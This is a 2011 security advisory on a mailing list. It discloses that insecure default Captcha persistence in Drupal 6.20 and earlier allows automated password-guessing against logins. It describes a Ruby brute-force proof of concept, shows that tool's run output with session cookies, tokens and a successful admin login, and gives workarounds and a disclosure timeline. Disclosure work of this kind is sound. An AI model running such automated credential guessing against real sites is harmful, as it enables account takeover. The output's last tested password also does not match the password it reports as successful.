[AntiSnatchOr] Drupal <= 6.20 insecure Captcha defaults PoC

[Michele Orru <antisnatchor () gmail com>]

Drupal <= 6.20 insecure Captcha defaults PoC

 Name: Drupal <= 6.20 insecure Captcha defaults PoC
 Systems Affected: Drupal <= 6.20 with Captcha <= 2.3
 Severity: Medium
 Vendor: http://drupal.org
 Advisory: http://antisnatchor.com/Drupal_insecure_Captcha_defaults_PoC
 Author: Michele "antisnatchor" Orrù (michele.orru AT antisnatchor DOT com)
 Date: 20110210

I. BACKGROUND
Drupal is a world-wide used open-source CMS written in PHP:
being really flexible and easy to extend, is the de-facto
choice for many small and big websites/portals that need a robust
framework on which model their business.

II. DESCRIPTION
Many Drupal users use Captcha challenges (specially with reCaptcha) in their
websites to protect sensitive resources from bots and spammers.
In fact, we've always red and seen Captcha (Drupal or not) implemented
to protect sensitive forms from online dictionary and bruteforcing attacks.

The default configuration of Persistence options for the Captcha module
in Drupal are insecure: the persistence option is set to "Omit 
challenges in a
multi-step/preview workflow once the user successfully responds to a 
challenge."

This means the following: if I will be able to correctly solve the first 
Captcha challenge in the login form,
but the login credentials are invalid, there will be no new Captcha 
challenge to solve in the login
form presented after the HTTP response. In this situation is possible to 
automate a dictionary/bruteforcing attack.


III. ANALYSIS
I've attached a two hours made Ruby PoC that automates a password guessing
attack to a known username. The code is commented enough, but basically 
having
the cookie, the form anti-xsrf token and the captcha token/sid the 
bruteforcing
can be automated. These values should be changed in the code, in a way that
the first request is valid and contains the right captcha sid and 
cookie: the next
captcha/form tokens will be parsed and added to the HTTP requests 
automatically.

An examle of the output:
/opt/local/bin/ruby -e 
$stdout.sync=true;$stderr.sync=true;load($0=ARGV.shift) 
/Users/antisnatchor/WORKS/BEEF/drupal-intruder/drupal_captcha_intruder.rb
+Initial xsrf token [form-43fb0bcbcb140066a782a3fc23ab1ab7]
+Initial captcha token [d853d6df05f6c6a956a46f20c8fe20aa]
+Dictionary attack with [4] passwords
+Testing password [test1]
+Request headers = 
{"Cookie"=>"SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; 
has_js=1;", "Referer"=>"http://antisnatchor.com/user";, 
"Content-Type"=>"application/x-www-form-urlencoded", 
"User-Agent"=>"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; 
rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"}
+Code = 200
+Message = OK
+New xsrf token [form-f83fba9470bf8e3bfa035291b94fcc32]
+New captcha token [aa6e143f8c43c6b1ec87b59f6ab5bf6d]
+Testing password [test2]
+Request headers = 
{"Cookie"=>"SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; 
has_js=1;", "Referer"=>"http://antisnatchor.com/user";, 
"Content-Type"=>"application/x-www-form-urlencoded", 
"User-Agent"=>"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; 
rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"}
+Code = 200
+Message = OK
+New xsrf token [form-6fba4b48adf6cec02539075edb4fb5f6]
+New captcha token [3e36c79be84a0cdf3a5eefbd0715ecdd]
+Testing password [test3]
+Request headers = 
{"Cookie"=>"SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; 
has_js=1;", "Referer"=>"http://antisnatchor.com/user";, 
"Content-Type"=>"application/x-www-form-urlencoded", 
"User-Agent"=>"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; 
rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"}
+Code = 200
+Message = OK
+New xsrf token [form-a14e4668b0a8b7fa826bb04d1aa8590a]
+New captcha token [c9a90bbd487de5733b7231ff832c5dd6]
+Testing password [antisnatchor666!]
+Request headers = 
{"Cookie"=>"SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; 
has_js=1;", "Referer"=>"http://antisnatchor.com/user";, 
"Content-Type"=>"application/x-www-form-urlencoded", 
"User-Agent"=>"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; 
rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"}
+Code = 302
+Message = Moved Temporarily
+Succesfully authenticated user[admin] with password [guessme]

A little note: to try it you need a few ruby gems like nokogiri you'll 
probably
don't have normally.


IV. DETECTION

6.20 and earlier versions are vulnerable.

V. WORKAROUND

Proper configuration of Drupal flood protection module should mitigate 
this issue.
Also changing the Captcha persistence options to "Always add a 
challenge" will
mitigate attacks.

VI. VENDOR RESPONSE

No fix available.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20110116 Initial vendor contact
20110118 Initial Drupal security team response
20110124 Mitigation discussion
20110210 Public Disclosure

IX. CREDIT

Michele "antisnatchor" Orru'

X. LEGAL NOTICES

Copyright (c) 2011 Michele "antisnatchor" Orru'

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

Attachment: drupal_captcha_intruder.rb
Description:

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